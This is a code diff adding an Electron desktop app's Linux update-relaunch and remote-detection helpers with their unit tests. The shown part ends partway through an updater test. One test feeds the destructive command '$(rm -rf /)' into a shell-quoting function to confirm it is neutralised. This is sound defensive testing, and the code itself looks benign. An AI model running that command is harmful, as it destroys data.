+  sandboxPreflight,
+  shellQuote,
+  unpackedDirName
+} from './update-relaunch'
+
+const ROOT = '/home/u/.clawcodex/clawcodex'
+const UNPACKED = path.join(ROOT, 'apps', 'desktop', 'release', 'linux-unpacked')
+
+// ---------------------------------------------------------------------------
+// 1) The execPath split — the heart of the GUI/backend skew guard.
+// ---------------------------------------------------------------------------
+
+test('unpackedDirName maps platform to the electron-builder dir', () => {
+  assert.equal(unpackedDirName('linux'), 'linux-unpacked')
+  assert.equal(unpackedDirName('win32'), 'win-unpacked')
+})
+
+test('resolveUnpackedRelease returns the dir for a binary UNDER release/<plat>-unpacked', () => {
+  const exec = path.join(UNPACKED, 'clawcodex')
+  assert.equal(resolveUnpackedRelease(exec, ROOT, 'linux'), UNPACKED)
+  // The unpacked dir itself also counts.
+  assert.equal(resolveUnpackedRelease(UNPACKED, ROOT, 'linux'), UNPACKED)
+})
+
+test('resolveUnpackedRelease is null for AppImage / .deb / .rpm / dev / unresolved paths', () => {
+  // AppImage mount
+  assert.equal(resolveUnpackedRelease('/tmp/.mount_ClawCodex12345/AppRun', ROOT, 'linux'), null)
+  // .deb / .rpm system install
+  assert.equal(resolveUnpackedRelease('/usr/lib/clawcodex/clawcodex', ROOT, 'linux'), null)
+  assert.equal(resolveUnpackedRelease('/opt/ClawCodex/clawcodex', ROOT, 'linux'), null)
+  // dev electron
+  assert.equal(
+    resolveUnpackedRelease('/home/u/.clawcodex/clawcodex/node_modules/electron/dist/electron', ROOT, 'linux'),
+    null
+  )
+  // empty / missing
+  assert.equal(resolveUnpackedRelease('', ROOT, 'linux'), null)
+  assert.equal(resolveUnpackedRelease(path.join(UNPACKED, 'clawcodex'), '', 'linux'), null)
+})
+
+test('resolveUnpackedRelease is not fooled by a sibling prefix dir', () => {
+  // `.../release/linux-unpacked-evil` must NOT match `.../release/linux-unpacked`.
+  const sneaky = path.join(ROOT, 'apps', 'desktop', 'release', 'linux-unpacked-evil', 'clawcodex')
+  assert.equal(resolveUnpackedRelease(sneaky, ROOT, 'linux'), null)
+})
+
+test('decideRelaunchOutcome: only under-unpacked + sandbox-ok relaunches', () => {
+  assert.equal(decideRelaunchOutcome({ underUnpacked: true, sandboxOk: true }), 'relaunch')
+  // Under unpacked but sandbox not launchable → manual (keep a working window).
+  assert.equal(decideRelaunchOutcome({ underUnpacked: true, sandboxOk: false }), 'manual')
+  // Not under unpacked → guiSkew regardless of sandbox flag.
+  assert.equal(decideRelaunchOutcome({ underUnpacked: false, sandboxOk: true }), 'guiSkew')
+  assert.equal(decideRelaunchOutcome({ underUnpacked: false, sandboxOk: false }), 'guiSkew')
+})
+
+// ---------------------------------------------------------------------------
+// 3) Sandbox preflight
+// ---------------------------------------------------------------------------
+
+const fakeStat = (uid, mode) => () => ({ uid, mode })
+
+const throwStat = () => {
+  throw Object.assign(new Error('ENOENT'), { code: 'ENOENT' })
+}
+
+test('sandboxPreflight: root-owned + setuid is launchable', () => {
+  const r = sandboxPreflight(UNPACKED, fakeStat(0, 0o4755))
+  assert.equal(r.ok, true)
+  assert.equal(r.reason, 'launchable')
+})
+
+test('sandboxPreflight: not root → not launchable', () => {
+  const r = sandboxPreflight(UNPACKED, fakeStat(1000, 0o4755))
+  assert.equal(r.ok, false)
+  assert.equal(r.reason, 'not-root')
+})
+
+test('sandboxPreflight: missing setuid bit → not launchable', () => {
+  const r = sandboxPreflight(UNPACKED, fakeStat(0, 0o755))
+  assert.equal(r.ok, false)
+  assert.equal(r.reason, 'not-setuid')
+})
+
+test('sandboxPreflight: neither root nor setuid (the fresh-rebuild trap)', () => {
+  const r = sandboxPreflight(UNPACKED, fakeStat(1000, 0o755))
+  assert.equal(r.ok, false)
+  assert.equal(r.reason, 'not-root-not-setuid')
+})
+
+test('sandboxPreflight: no chrome-sandbox helper present → ok (build does not use SUID sandbox)', () => {
+  const r = sandboxPreflight(UNPACKED, throwStat)
+  assert.equal(r.ok, true)
+  assert.equal(r.reason, 'no-sandbox-helper')
+})
+
+test('sandboxFallbackFromEnv: ELECTRON_DISABLE_SANDBOX / --no-sandbox make a broken sandbox safe', () => {
+  assert.equal(sandboxFallbackFromEnv({ ELECTRON_DISABLE_SANDBOX: '1' }, []), true)
+  assert.equal(sandboxFallbackFromEnv({ ELECTRON_DISABLE_SANDBOX: 'true' }, []), true)
+  assert.equal(sandboxFallbackFromEnv({}, ['--no-sandbox']), true)
+  assert.equal(sandboxFallbackFromEnv({}, ['--foo']), false)
+  assert.equal(sandboxFallbackFromEnv({}, []), false)
+  assert.equal(sandboxFallbackFromEnv(null, null), false)
+})
+
+// ---------------------------------------------------------------------------
+// 2) Launch-context preservation
+// ---------------------------------------------------------------------------
+
+test('collectRelaunchArgs drops Electron internals, keeps user/launcher args', () => {
+  const argv = [
+    '--type=renderer',
+    '--user-data-dir=/tmp/x',
+    '--enable-features=Foo',
+    '--field-trial-handle=123',
+    '--no-sandbox', // sandbox opt-out — KEEP (user/env intent + relaunch fallback)
+    '--lang=en-US',
+    'clawcodex://open/agent/42', // deep link — keep
+    '--profile=work', // app flag — keep
+    '--remote-debugging-port=9222' // internal — drop
+  ]
+
+  assert.deepEqual(collectRelaunchArgs(argv), ['--no-sandbox', 'clawcodex://open/agent/42', '--profile=work'])
+  assert.deepEqual(collectRelaunchArgs(undefined), [])
+})
+
+test('collectRelaunchEnv preserves CLAWCODEX_CONFIG_DIR + CLAWCODEX_DESKTOP_* + sandbox opt-out only', () => {
+  const env = {
+    CLAWCODEX_CONFIG_DIR: '/home/u/.clawcodex',
+    CLAWCODEX_DESKTOP_REMOTE_URL: 'http://box:9119',
+    CLAWCODEX_DESKTOP_REMOTE_TOKEN: 'secret',
+    CLAWCODEX_DESKTOP_CLAWCODEX_ROOT: '/home/u/dev/clawcodex',
+    CLAWCODEX_DESKTOP_APP_NAME: 'ClawCodexSandbox',
+    ELECTRON_DISABLE_SANDBOX: '1', // sandbox opt-out — preserved
+    PATH: '/usr/bin', // not preserved
+    HOME: '/home/u', // not preserved
+    UNRELATED: 'x'
+  }
+
+  assert.deepEqual(collectRelaunchEnv(env), {
+    CLAWCODEX_CONFIG_DIR: '/home/u/.clawcodex',
+    CLAWCODEX_DESKTOP_REMOTE_URL: 'http://box:9119',
+    CLAWCODEX_DESKTOP_REMOTE_TOKEN: 'secret',
+    CLAWCODEX_DESKTOP_CLAWCODEX_ROOT: '/home/u/dev/clawcodex',
+    CLAWCODEX_DESKTOP_APP_NAME: 'ClawCodexSandbox',
+    ELECTRON_DISABLE_SANDBOX: '1'
+  })
+  assert.deepEqual(collectRelaunchEnv(null), {})
+})
+
+// ---------------------------------------------------------------------------
+// Generated watcher script: safe quoting + valid bash syntax.
+// ---------------------------------------------------------------------------
+
+test('shellQuote neutralizes single quotes and metacharacters', () => {
+  assert.equal(shellQuote(`a'b`), `'a'\\''b'`)
+  assert.equal(shellQuote('$(rm -rf /)'), `'$(rm -rf /)'`)
+})
+
+test('buildRelaunchScript embeds pid/exec/args/env/cwd and is valid bash', () => {
+  const script = buildRelaunchScript({
+    pid: 4242,
+    execPath: '/home/u/.clawcodex/clawcodex/apps/desktop/release/linux-unpacked/ClawCodex',
+    args: ['clawcodex://open/agent/42', "--note=it's fine"],
+    env: { CLAWCODEX_CONFIG_DIR: '/home/u/.clawcodex', CLAWCODEX_DESKTOP_REMOTE_URL: 'http://box:9119' },
+    cwd: '/home/u/work dir'
+  })
+
+  // Structural assertions.
+  assert.match(script, /^#!\/bin\/bash/)
+  assert.match(script, /APP_PID=4242/)
+  assert.match(script, /kill -9 "\$APP_PID"/)
+  assert.match(script, /rm -f -- "\$0"/)
+  // env exports + cwd restore + args replay are present and quoted.
+  assert.match(script, /export CLAWCODEX_CONFIG_DIR='\/home\/u\/\.clawcodex'/)
+  assert.match(script, /export CLAWCODEX_DESKTOP_REMOTE_URL='http:\/\/box:9119'/)
+  assert.match(script, /cd '\/home\/u\/work dir'/)
+  assert.match(script, /exec '.*\/linux-unpacked\/ClawCodex' 'clawcodex:\/\/open\/agent\/42' '--note=it'\\''s fine'/)
+
+  // It must be syntactically valid bash (`bash -n`). Write to a temp file and lint.
+  const tmp = path.join(os.tmpdir(), `clawcodex-relaunch-test-${Date.now()}.sh`)
+  fs.writeFileSync(tmp, script)
+
+  try {
+    execFileSync('bash', ['-n', tmp], { stdio: 'pipe' })
+  } finally {
+    fs.rmSync(tmp, { force: true })
+  }
+})
+
+test('buildRelaunchScript with no args/env still lints clean', () => {
+  const script = buildRelaunchScript({
+    pid: 1,
+    execPath: '/opt/ClawCodex/ClawCodex',
+    args: [],
+    env: {},
+    cwd: ''
+  })
+
+  const tmp = path.join(os.tmpdir(), `clawcodex-relaunch-test2-${Date.now()}.sh`)
+  fs.writeFileSync(tmp, script)
+
+  try {
+    execFileSync('bash', ['-n', tmp], { stdio: 'pipe' })
+  } finally {
+    fs.rmSync(tmp, { force: true })
+  }
+
+  // exec line has no trailing args.
+  assert.match(script, /exec '\/opt\/ClawCodex\/ClawCodex'\n/)
+})
diff --git a/ui-desktop/electron/update-relaunch.ts b/ui-desktop/electron/update-relaunch.ts
new file mode 100644
index 000000000..79c88927a
--- /dev/null
+++ b/ui-desktop/electron/update-relaunch.ts
@@ -0,0 +1,314 @@
+/**
+ * update-relaunch.ts — pure decision + script-generation helpers for the
+ * Linux in-app update relaunch (#45205).
+ *
+ * Extracted from main.ts's `applyUpdatesPosixInApp` so the security- and
+ * correctness-critical "do we relaunch, or land on a manual terminal state?"
+ * decision is unit-testable without booting Electron (main.ts
+ * `require('electron')` at load).
+ *
+ * Background
+ * ----------
+ * After `clawcodex update` + `clawcodex desktop --build-only`, the freshly-rebuilt
+ * GUI lives under `apps/desktop/release/<plat>-unpacked`. We can only honestly
+ * relaunch into the new GUI when the *running* binary is that rebuilt one —
+ * i.e. its execPath is under the rebuilt `release/<plat>-unpacked` dir.
+ *
+ *   - Source / unpacked install (execPath under release/<plat>-unpacked):
+ *     the running binary IS the thing we just rebuilt → relaunch it in place.
+ *   - AppImage / .deb / .rpm / dev / unresolved (execPath elsewhere):
+ *     the backend was updated but THIS GUI shell was NOT replaced. Claiming
+ *     "the new version loads next launch" is a lie that produces GUI/backend
+ *     skew (#37541): the user keeps running the old GUI against new backend
+ *     code with no path to fix it from inside the app. Surface an explicit
+ *     terminal state telling them the GUI package must be reinstalled.
+ *
+ * Sandbox preflight (#3 in the review)
+ * ------------------------------------
+ * A fresh `release/<plat>-unpacked` rebuild can leave `chrome-sandbox` without
+ * the required `root:root` + setuid (mode 4755). Electron then refuses to
+ * launch with "The SUID sandbox helper binary was found, but is not configured
+ * correctly" and the relaunch yields "quit and never came back" — a dead app.
+ * Before we quit+hand off we preflight the rebuilt sandbox helper; if it is NOT
+ * launchable (and no working non-interactive fallback applies — see
+ * sandboxFallbackFromEnv) we DO NOT quit. We keep the working window and return
+ * the closeable manual-restart terminal state instead.
+ */
+
+import path from 'node:path'
+
+// Map process.platform → electron-builder's `release/<dir>-unpacked` name.
+function unpackedDirName(platform) {
+  if (platform === 'darwin') {
+    return 'mac-unpacked'
+  } // not used (mac swaps bundles)
+
+  if (platform === 'win32') {
+    return 'win-unpacked'
+  }
+
+  return 'linux-unpacked'
+}
+
+/**
+ * If `execPath` lives under `<updateRoot>/apps/desktop/release/<plat>-unpacked`,
+ * return that unpacked dir; otherwise null. A null result means the running
+ * binary is NOT the thing we just rebuilt (AppImage/.deb/.rpm/dev), so we must
+ * not claim a GUI relaunch.
+ *
+ * Match is a path-segment-aware prefix check (not a bare string startsWith) so
+ * `.../release/linux-unpacked-evil` can't masquerade as `.../release/linux-unpacked`.
+ */
+function resolveUnpackedRelease(execPath, updateRoot, platform) {
+  if (!execPath || !updateRoot) {
+    return null
+  }
+
+  const releaseDir = path.join(updateRoot, 'apps', 'desktop', 'release')
+  const unpacked = path.join(releaseDir, unpackedDirName(platform))
+  const normalizedExec = path.resolve(String(execPath))
+  // execPath must be the unpacked dir itself or a descendant of it.
+  const withSep = unpacked.endsWith(path.sep) ? unpacked : unpacked + path.sep
+
+  if (normalizedExec === unpacked || normalizedExec.startsWith(withSep)) {
+    return unpacked
+  }
+
+  return null
+}
+
+/**
+ * Pure decision: given whether the running binary is under the rebuilt
+ * unpacked release AND whether its sandbox helper is launchable, choose the
+ * terminal outcome.
+ *
+ *   'relaunch' — quit + detached watcher re-execs the rebuilt binary in place.
+ *   'guiSkew'  — backend updated, GUI package NOT changed; user must reinstall
+ *                the GUI. Closeable terminal state; does NOT claim a GUI update.
+ *   'manual'   — running the rebuilt binary, but its sandbox helper is not
+ *                launchable and no fallback applies; do NOT quit into a dead
+ *                app. Closeable manual-restart terminal state.
+ */
+function decideRelaunchOutcome({ underUnpacked, sandboxOk }) {
+  if (!underUnpacked) {
+    return 'guiSkew'
+  }
+
+  if (!sandboxOk) {
+    return 'manual'
+  }
+
+  return 'relaunch'
+}
+
+/**
+ * Preflight the rebuilt sandbox helper. Returns
+ *   { ok: boolean, reason: string, path: string }
+ *
+ * `ok` is true when chrome-sandbox is owned by uid 0 AND has the setuid bit
+ * (mode & 0o4000) — i.e. Electron can launch it. If chrome-sandbox does not
+ * exist at all we treat it as ok: this Electron build does not use the SUID
+ * sandbox helper (e.g. it ships the namespace sandbox), so the relaunch is not
+ * blocked on it.
+ *
+ * `statSync` is injectable so this is testable without a real setuid file.
+ */
+function sandboxPreflight(unpackedDir, statSync) {
+  if (!unpackedDir) {
+    return { ok: false, reason: 'no-unpacked-dir', path: null }
+  }
+
+  const sandboxPath = path.join(unpackedDir, 'chrome-sandbox')
+  let st
+
+  try {
+    st = statSync(sandboxPath)
+  } catch {
+    // No chrome-sandbox helper present → this build doesn't rely on the SUID
+    // sandbox; nothing to block the relaunch.
+    return { ok: true, reason: 'no-sandbox-helper', path: sandboxPath }
+  }
+
+  const ownedByRoot = st.uid === 0
+  const hasSetuid = (st.mode & 0o4000) !== 0
+
+  if (ownedByRoot && hasSetuid) {
+    return { ok: true, reason: 'launchable', path: sandboxPath }
+  }
+
+  if (!ownedByRoot && !hasSetuid) {
+    return { ok: false, reason: 'not-root-not-setuid', path: sandboxPath }
+  }
+
+  if (!ownedByRoot) {
+    return { ok: false, reason: 'not-root', path: sandboxPath }
+  }
+
+  return { ok: false, reason: 'not-setuid', path: sandboxPath }
+}
+
+/**
+ * Detect a non-interactive sandbox fallback the user has opted into via the
+ * environment. The reviewer asked us to integrate with any existing
+ * `--no-sandbox` / chrome-sandbox handling. A repo grep found NO existing
+ * non-interactive sandbox fallback in the desktop app (the only chrome-sandbox
+ * reference is documentation in scripts/before-pack.ts). The one signal that
+ * DOES exist is the standard Electron escape hatch: ELECTRON_DISABLE_SANDBOX=1
+ * (and the equivalent `--no-sandbox` already present in the launch args). If
+ * the user has set that, the rebuilt binary will start even with a broken
+ * chrome-sandbox, so the relaunch is safe.
+ *
+ * Returns true when a fallback makes the relaunch safe despite a failed
+ * sandbox preflight.
+ */
+function sandboxFallbackFromEnv(env, launchArgs) {
+  const disable = String((env && env.ELECTRON_DISABLE_SANDBOX) || '').trim()
+
+  if (disable === '1' || disable.toLowerCase() === 'true') {
+    return true
+  }
+
+  if (Array.isArray(launchArgs) && launchArgs.some(a => a === '--no-sandbox')) {
+    return true
+  }
+
+  return false
+}
+
+// POSIX single-quote a value for safe inclusion in the generated bash script.
+function shellQuote(value) {
+  return `'${String(value).replace(/'/g, `'\\''`)}'`
+}
+
+// Electron / Chromium internal switches that must NOT be replayed on re-exec:
+// they are runtime artifacts of THIS launch, not user intent, and re-passing
+// them can change sandbox/zygote behavior or point at stale fds/dirs.
+const INTERNAL_ARG_PREFIXES = [
+  '--type=', // renderer/gpu/zygote child markers
+  '--user-data-dir=',
+  '--enable-features=',
+  '--disable-features=',
+  '--field-trial-handle=',
+  '--enable-logging',
+  '--log-file=',
+  // NB: --no-sandbox is deliberately NOT stripped — it reflects the user's /
+  // environment's SUID-sandbox opt-out (some hardened kernels/containers require
+  // it) and is the signal sandboxFallbackFromEnv() uses to allow a relaunch when
+  // chrome-sandbox isn't setuid. Dropping it would make exactly that relaunch
+  // fail ("quit and never came back").
+  '--disable-gpu-sandbox',
+  '--lang=',
+  '--inspect',
+  '--remote-debugging-port='
+]
+
+/**
+ * Filter Electron internals out of the original launch args so we replay only
+ * meaningful user/launcher intent (deep-link URLs, app-specific flags).
+ * `argv` is expected to be process.argv.slice(1) for a PACKAGED app (argv[0] is
+ * the exec path itself; there is no entry-script arg as in a dev run).
+ */
+function collectRelaunchArgs(argv) {
+  if (!Array.isArray(argv)) {
+    return []
+  }
+
+  return argv.filter(arg => {
+    if (typeof arg !== 'string' || arg.length === 0) {
+      return false
+    }
+
+    return !INTERNAL_ARG_PREFIXES.some(prefix =>
+      prefix.endsWith('=') ? arg.startsWith(prefix) : arg === prefix || arg.startsWith(prefix + '=')
+    )
+  })
+}
+
+// Env keys whose values define the relaunched instance's context (which
+// backend/profile/root it talks to). Anything CLAWCODEX_DESKTOP_* is preserved
+// plus CLAWCODEX_CONFIG_DIR. We snapshot the values, not the live env, so the new
+// instance comes up pointed at the same place this one was.
+// ELECTRON_DISABLE_SANDBOX is preserved for the same reason --no-sandbox is kept
+// in the replayed args: if a relaunch is only safe because the user opted out of
+// the SUID sandbox, the relaunched instance must inherit that opt-out too.
+const PRESERVED_ENV_KEYS = ['CLAWCODEX_CONFIG_DIR', 'ELECTRON_DISABLE_SANDBOX']
+const PRESERVED_ENV_PREFIXES = ['CLAWCODEX_DESKTOP_']
+
+function collectRelaunchEnv(env) {
+  const out = {}
+
+  if (!env || typeof env !== 'object') {
+    return out
+  }
+
+  for (const [key, value] of Object.entries(env)) {
+    if (value == null) {
+      continue
+    }
+
+    if (PRESERVED_ENV_KEYS.includes(key) || PRESERVED_ENV_PREFIXES.some(p => key.startsWith(p))) {
+      out[key] = String(value)
+    }
+  }
+
+  return out
+}
+
+/**
+ * Build the detached bash watcher that waits for the parent to exit (graceful
+ * window then SIGKILL), self-deletes, and re-execs the rebuilt binary WITH the
+ * original launch context (cwd, env, args) restored.
+ *
+ * @param {object} o
+ * @param {number} o.pid       parent (this) process pid to wait on
+ * @param {string} o.execPath  binary to re-exec
+ * @param {string[]} o.args    filtered launch args to replay
+ * @param {object} o.env       env key→value to export before exec
+ * @param {string} o.cwd       working directory to restore
+ */
+function buildRelaunchScript({ pid, execPath, args, env, cwd }) {
+  const exports = Object.entries(env || {})
+    .map(([k, v]) => `export ${k}=${shellQuote(v)}`)
+    .join('\n')
+
+  const quotedArgs = (args || []).map(shellQuote).join(' ')
+  const cwdLine = cwd ? `cd ${shellQuote(cwd)} 2>/dev/null || true` : ''
+
+  // NOTE: `exec` replaces the watcher process with the relaunched app, so the
+  // re-exec inherits exactly the env/cwd we set above.
+  return `#!/bin/bash
+set -u
+APP_PID=${Number(pid)}
+# Wait up to ~30s for a graceful exit, then SIGKILL: a hung/zombie parent must
+# be gone before we relaunch, or the new instance bails on the single-instance
+# lock. (#45205)
+for _ in $(seq 1 60); do
+  kill -0 "$APP_PID" 2>/dev/null || break
+  sleep 0.5
+done
+if kill -0 "$APP_PID" 2>/dev/null; then
+  kill -9 "$APP_PID" 2>/dev/null || true
+  sleep 0.5
+fi
+# Self-delete so temp watchers don't accumulate across updates.
+rm -f -- "$0" 2>/dev/null || true
+${cwdLine}
+${exports}
+exec ${shellQuote(execPath)}${quotedArgs ? ' ' + quotedArgs : ''}
+`
+}
+
+export {
+  buildRelaunchScript,
+  collectRelaunchArgs,
+  collectRelaunchEnv,
+  decideRelaunchOutcome,
+  INTERNAL_ARG_PREFIXES,
+  PRESERVED_ENV_KEYS,
+  PRESERVED_ENV_PREFIXES,
+  resolveUnpackedRelease,
+  sandboxFallbackFromEnv,
+  sandboxPreflight,
+  shellQuote,
+  unpackedDirName
+}
diff --git a/ui-desktop/electron/update-remote.test.ts b/ui-desktop/electron/update-remote.test.ts
new file mode 100644
index 000000000..9aedfe8f3
--- /dev/null
+++ b/ui-desktop/electron/update-remote.test.ts
@@ -0,0 +1,79 @@
+/**
+ * Tests for electron/update-remote.ts — the remote-detection helpers that
+ * keep passive update checks off the SSH origin for official installs.
+ *
+ * Run with: node --test electron/update-remote.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * Why this matters: a public install can carry
+ * origin=git@github.com:agentforce314/clawcodex.git. A background
+ * `git fetch origin` then authenticates over SSH and, with a FIDO2/passkey
+ * key, triggers an unexplained hardware-touch prompt. isOfficialSshRemote
+ * must reliably recognize the official SSH remote (in every URL form,
+ * case-insensitively) so the caller can swap in the anonymous HTTPS path —
+ * while NOT misclassifying forks, other hosts, or the HTTPS remote (which
+ * never prompts and should keep the normal fetch path).
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  canonicalGitHubRemote,
+  isOfficialSshRemote,
+  isSshRemote,
+  OFFICIAL_REPO_CANONICAL,
+  OFFICIAL_REPO_HTTPS_URL
+} from './update-remote'
+
+test('canonicalGitHubRemote normalizes SSH and HTTPS forms to the same value', () => {
+  assert.equal(canonicalGitHubRemote('git@github.com:agentforce314/clawcodex.git'), OFFICIAL_REPO_CANONICAL)
+  assert.equal(canonicalGitHubRemote('git@github.com:agentforce314/clawcodex'), OFFICIAL_REPO_CANONICAL)
+  assert.equal(canonicalGitHubRemote('ssh://git@github.com/agentforce314/clawcodex.git'), OFFICIAL_REPO_CANONICAL)
+  assert.equal(canonicalGitHubRemote('https://github.com/agentforce314/clawcodex.git'), OFFICIAL_REPO_CANONICAL)
+  // Case-insensitive: an uppercased owner still canonicalizes to the same repo.
+  assert.equal(canonicalGitHubRemote('git@github.com:agentforce314/clawcodex.git'), OFFICIAL_REPO_CANONICAL)
+  // Trailing slashes are stripped.
+  assert.equal(canonicalGitHubRemote('https://github.com/agentforce314/clawcodex/'), OFFICIAL_REPO_CANONICAL)
+})
+
+test('canonicalGitHubRemote is empty for falsy input', () => {
+  assert.equal(canonicalGitHubRemote(''), '')
+  assert.equal(canonicalGitHubRemote(null), '')
+  assert.equal(canonicalGitHubRemote(undefined), '')
+})
+
+test('isSshRemote detects scp-like and ssh:// forms only', () => {
+  assert.equal(isSshRemote('git@github.com:agentforce314/clawcodex.git'), true)
+  assert.equal(isSshRemote('ssh://git@github.com/agentforce314/clawcodex.git'), true)
+  assert.equal(isSshRemote('https://github.com/agentforce314/clawcodex.git'), false)
+  assert.equal(isSshRemote(''), false)
+  assert.equal(isSshRemote(null), false)
+})
+
+test('isOfficialSshRemote is true only for the official repo over SSH', () => {
+  assert.equal(isOfficialSshRemote('git@github.com:agentforce314/clawcodex.git'), true)
+  assert.equal(isOfficialSshRemote('git@github.com:agentforce314/clawcodex'), true)
+  assert.equal(isOfficialSshRemote('ssh://git@github.com/agentforce314/clawcodex.git'), true)
+  // Case-insensitive owner/repo match.
+  assert.equal(isOfficialSshRemote('git@github.com:agentforce314/clawcodex.git'), true)
+})
+
+test('isOfficialSshRemote does NOT match forks, other hosts, or HTTPS', () => {
+  // A fork over SSH belongs to the user — fetching it is their own remote,
+  // not the official upstream, so the SSH-avoidance swap must not apply.
+  assert.equal(isOfficialSshRemote('git@github.com:someuser/clawcodex.git'), false)
+  // Same repo name on a different host is not the official repo.
+  assert.equal(isOfficialSshRemote('git@gitlab.com:agentforce314/clawcodex.git'), false)
+  // HTTPS to the official repo never prompts for SSH/FIDO2, so it keeps the
+  // normal fetch path — must not be flagged as an official SSH remote.
+  assert.equal(isOfficialSshRemote('https://github.com/agentforce314/clawcodex.git'), false)
+  assert.equal(isOfficialSshRemote(''), false)
+  assert.equal(isOfficialSshRemote(null), false)
+})
+
+test('OFFICIAL_REPO_HTTPS_URL canonicalizes to OFFICIAL_REPO_CANONICAL', () => {
+  // Invariant: the URL we substitute in must be the same repo we detect.
+  assert.equal(canonicalGitHubRemote(OFFICIAL_REPO_HTTPS_URL), OFFICIAL_REPO_CANONICAL)
+})
diff --git a/ui-desktop/electron/update-remote.ts b/ui-desktop/electron/update-remote.ts
new file mode 100644
index 000000000..955e088d8
--- /dev/null
+++ b/ui-desktop/electron/update-remote.ts
@@ -0,0 +1,65 @@
+/**
+ * Pure helpers for choosing a remote URL during passive update checks.
+ *
+ * A public install can end up with `origin=git@github.com:agentforce314/clawcodex.git`.
+ * If the user's GitHub SSH key is FIDO2/passkey-backed, a background `git fetch
+ * origin` triggers an unexplained hardware-touch prompt. For passive checks
+ * against the official repo we substitute the public HTTPS `ls-remote` path,
+ * which needs no auth and cannot prompt. Active update/apply flows are left
+ * unchanged.
+ *
+ * Extracted from main.ts so the security-critical remote detection is unit
+ * testable without booting Electron (main.ts requires('electron') at load).
+ */
+
+const OFFICIAL_REPO_HTTPS_URL = 'https://github.com/agentforce314/clawcodex.git'
+const OFFICIAL_REPO_CANONICAL = 'github.com/agentforce314/clawcodex'
+
+// Normalize common GitHub remote URL forms to `host/owner/repo` (lowercased,
+// no trailing slash, no .git suffix) so SSH and HTTPS forms of the same repo
+// compare equal.
+function canonicalGitHubRemote(url) {
+  if (!url) {
+    return ''
+  }
+
+  let value = String(url).trim()
+
+  if (value.startsWith('git@github.com:')) {
+    value = `github.com/${value.slice('git@github.com:'.length)}`
+  } else if (value.startsWith('ssh://git@github.com/')) {
+    value = `github.com/${value.slice('ssh://git@github.com/'.length)}`
+  } else {
+    try {
+      const parsed = new URL(value)
+
+      if (parsed.hostname && parsed.pathname) {
+        value = `${parsed.hostname}${parsed.pathname}`
+      }
+    } catch {
+      // Leave non-URL forms unchanged.
+    }
+  }
+
+  value = value.trim().replace(/\/+$/, '')
+
+  if (value.endsWith('.git')) {
+    value = value.slice(0, -4)
+  }
+
+  return value.toLowerCase()
+}
+
+function isSshRemote(url) {
+  const value = String(url || '')
+    .trim()
+    .toLowerCase()
+
+  return value.startsWith('git@') || value.startsWith('ssh://')
+}
+
+function isOfficialSshRemote(url) {
+  return isSshRemote(url) && canonicalGitHubRemote(url) === OFFICIAL_REPO_CANONICAL
+}
+
+export { canonicalGitHubRemote, isOfficialSshRemote, isSshRemote, OFFICIAL_REPO_CANONICAL, OFFICIAL_REPO_HTTPS_URL }
diff --git a/ui-desktop/electron/updater-process.test.ts b/ui-desktop/electron/updater-process.test.ts
new file mode 100644
index 000000000..d4d316809
--- /dev/null
+++ b/ui-desktop/electron/updater-process.test.ts
@@ -0,0 +1,167 @@
+import assert from 'node:assert/strict'
+import type { SpawnOptions } from 'node:child_process'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  MARKER_SELF_ADOPT_EPOCH_MS,
+  resolveStagedUpdaterBinary,
+  spawnUpdaterProcess,
+  stagedUpdaterSupportsPrewrittenMarker
+} from './updater-process'
+
+const DAY_MS = 24 * 60 * 60 * 1000
+
+test('stagedUpdaterSupportsPrewrittenMarker rejects installers predating the self-adopt fix', () => {
+  // The real-world trap: an installer staged at first install months ago, never
+  // refreshed because copy_self_to_clawcodex_home no-ops during --update.
+  assert.equal(
+    stagedUpdaterSupportsPrewrittenMarker('C:\\ClawCodex\\clawcodex-setup.exe', {
+      stagedMtimeMs: () => MARKER_SELF_ADOPT_EPOCH_MS - 60 * DAY_MS
+    }),
+    false
+  )
+})
+
+test('stagedUpdaterSupportsPrewrittenMarker accepts installers from the fix onward', () => {
+  assert.equal(
+    stagedUpdaterSupportsPrewrittenMarker('C:\\ClawCodex\\clawcodex-setup.exe', {
+      stagedMtimeMs: () => MARKER_SELF_ADOPT_EPOCH_MS
+    }),
+    true
+  )
+  assert.equal(
+    stagedUpdaterSupportsPrewrittenMarker('C:\\ClawCodex\\clawcodex-setup.exe', {
+      stagedMtimeMs: () => MARKER_SELF_ADOPT_EPOCH_MS + 30 * DAY_MS
+    }),
+    true
+  )
+})
+
+test('stagedUpdaterSupportsPrewrittenMarker treats an unreadable mtime as unsupported', () => {
+  // Bias toward the path that can always make progress: a skipped pre-write
+  // loses anti-respawn hardening, a wedged updater can never update again.
+  assert.equal(
+    stagedUpdaterSupportsPrewrittenMarker('C:\\ClawCodex\\clawcodex-setup.exe', {
+      stagedMtimeMs: () => null
+    }),
+    false
+  )
+})
+
+test('resolveStagedUpdaterBinary still returns a stale staged updater on Windows', () => {
+  // Staleness gates only the marker PRE-WRITE, never the hand-off itself:
+  // the stale binary is the only updater these users have, and it works fine
+  // once it is allowed to write its own claim.
+  assert.equal(
+    resolveStagedUpdaterBinary('C:\\ClawCodex', {
+      fileExists: () => true,
+      isWindows: true,
+      stagedMtimeMs: () => MARKER_SELF_ADOPT_EPOCH_MS - 60 * DAY_MS
+    }),
+    path.join('C:\\ClawCodex', 'clawcodex-setup.exe')
+  )
+})
+
+test('spawnUpdaterProcess hides the updater console and detaches the child on Windows', () => {
+  const calls: Array<{ args: string[]; command: string; options: SpawnOptions }> = []
+  let unrefCalls = 0
+
+  const child = {
+    pid: 4242,
+    unref: () => {
+      unrefCalls += 1
+    }
+  }
+
+  const result = spawnUpdaterProcess(
+    'clawcodex-setup.exe',
+    ['--update', '--branch', 'main'],
+    { cwd: 'C:\\ClawCodex', detached: true, stdio: 'ignore' },
+    {
+      isWindows: true,
+      spawnProcess: (command, args, options) => {
+        calls.push({ args, command, options })
+
+        return child
+      }
+    }
+  )
+
+  assert.equal(result, child)
+  assert.equal(unrefCalls, 1)
+  assert.deepEqual(calls, [
+    {
+      args: ['--update', '--branch', 'main'],
+      command: 'clawcodex-setup.exe',
+      options: { cwd: 'C:\\ClawCodex', detached: true, stdio: 'ignore', windowsHide: true }
+    }
+  ])
+})
+
+test('spawnUpdaterProcess preserves updater options off Windows', () => {
+  let capturedOptions: SpawnOptions | undefined
+
+  spawnUpdaterProcess(
+    'clawcodex-setup',
+    ['--update'],
